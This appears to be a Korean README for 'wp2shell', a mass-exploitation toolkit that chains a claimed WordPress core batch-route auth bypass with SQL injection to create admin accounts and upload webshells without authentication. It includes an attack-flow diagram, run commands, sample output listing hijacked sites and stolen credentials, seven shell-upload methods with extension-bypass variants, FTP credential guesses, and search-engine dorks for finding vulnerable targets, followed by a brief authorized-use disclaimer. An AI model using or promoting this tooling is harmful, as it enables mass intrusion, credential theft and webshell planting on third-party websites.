
WordPress 코어 사전 인증 RCE — 배치 라우트 혼동 + SQL 인젝션
CVE-2026-63030 (배치 라우트 혼동) + CVE-2026-60137 (SQL 인젝션)
WordPress 코어의 wp2shell 취약점 체인을 위한 제로 의존성(zero-dependency) 익스플로잇 툴킷입니다. 플러그인이 필요 없는 기본 WordPress 설치 환경에서 단 한 번의 익명 HTTP 요청만으로 원격 코드 실행(RCE)을 달성합니다.
| 범위 | 영향 | 수정 버전 |
|---|---|---|
| 7.0.0 – 7.0.1 | 완전한 RCE | 7.0.2 |
| 6.9.0 – 6.9.4 | 완전한 RCE |
플러그인이나 특별한 구성이 필요하지 않습니다. 기본 설치 상태의 WordPress만으로도 공격이 가능합니다.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests는 expander 전용)log/scanned.txt로 이미 스캔한 대상은 건너뜀7가지 방식 모두 ThreadPoolExecutor를 통해 병렬로 실행됩니다. 가장 먼저 성공한 방식이 채택되고 나머지는 취소됩니다.
미디어 업로드 확장자: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
시도되는 FTP 자격 증명: localhost / 127.0.0.1 및 root / www-data / WordPress 관리자 자격 증명
| 파일 | 내용 |
|---|---|
result.txt | 관리자 자격 증명: url.com/wp-login.php:user:pass |
result_upload.txt | 셸 URL: shell_url | login_url:user:pass | method |
log/scanned.txt | 스캔된 모든 호스트 (재실행 시 자동 건너뜀) |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
이 도구는 승인된 보안 연구 및 침투 테스트 용도로만 제공됩니다. 소유한 시스템이나 테스트에 대한 명시적 서면 허가를 받은 시스템에서만 사용하세요. 작성자는 오용으로 인한 어떠한 책임도 지지 않습니다.
MIT 라이선스. 자세한 내용은 LICENSE를 참조하세요.
| 6.9.5 |
| 6.8.0 – 6.8.5 | SQLi만 | 6.8.6 |
| # | 방식 | 설명 |
|---|
| 1 | direct-plugin | /wp-admin/plugin-install.php를 통해 zip 업로드 |
| 2 | direct-theme | /wp-admin/theme-install.php를 통해 zip 업로드 |
| 3 | rest-api | 인증 쿠키와 함께 /wp-json/wp/v2/plugins로 zip POST |
| 4 | plugin-editor | /wp-admin/plugin-editor.php를 통해 PHP 직접 작성 |
| 5 | theme-editor | 활성 테마 디렉터리에 PHP 작성 |
| 6 | ftp-bypass | WordPress가 요청할 때 FTP 자격 증명 제출 |
| 7 | media-upload | 15가지 확장자 변형으로 미디어 라이브러리를 통해 PHP 업로드 |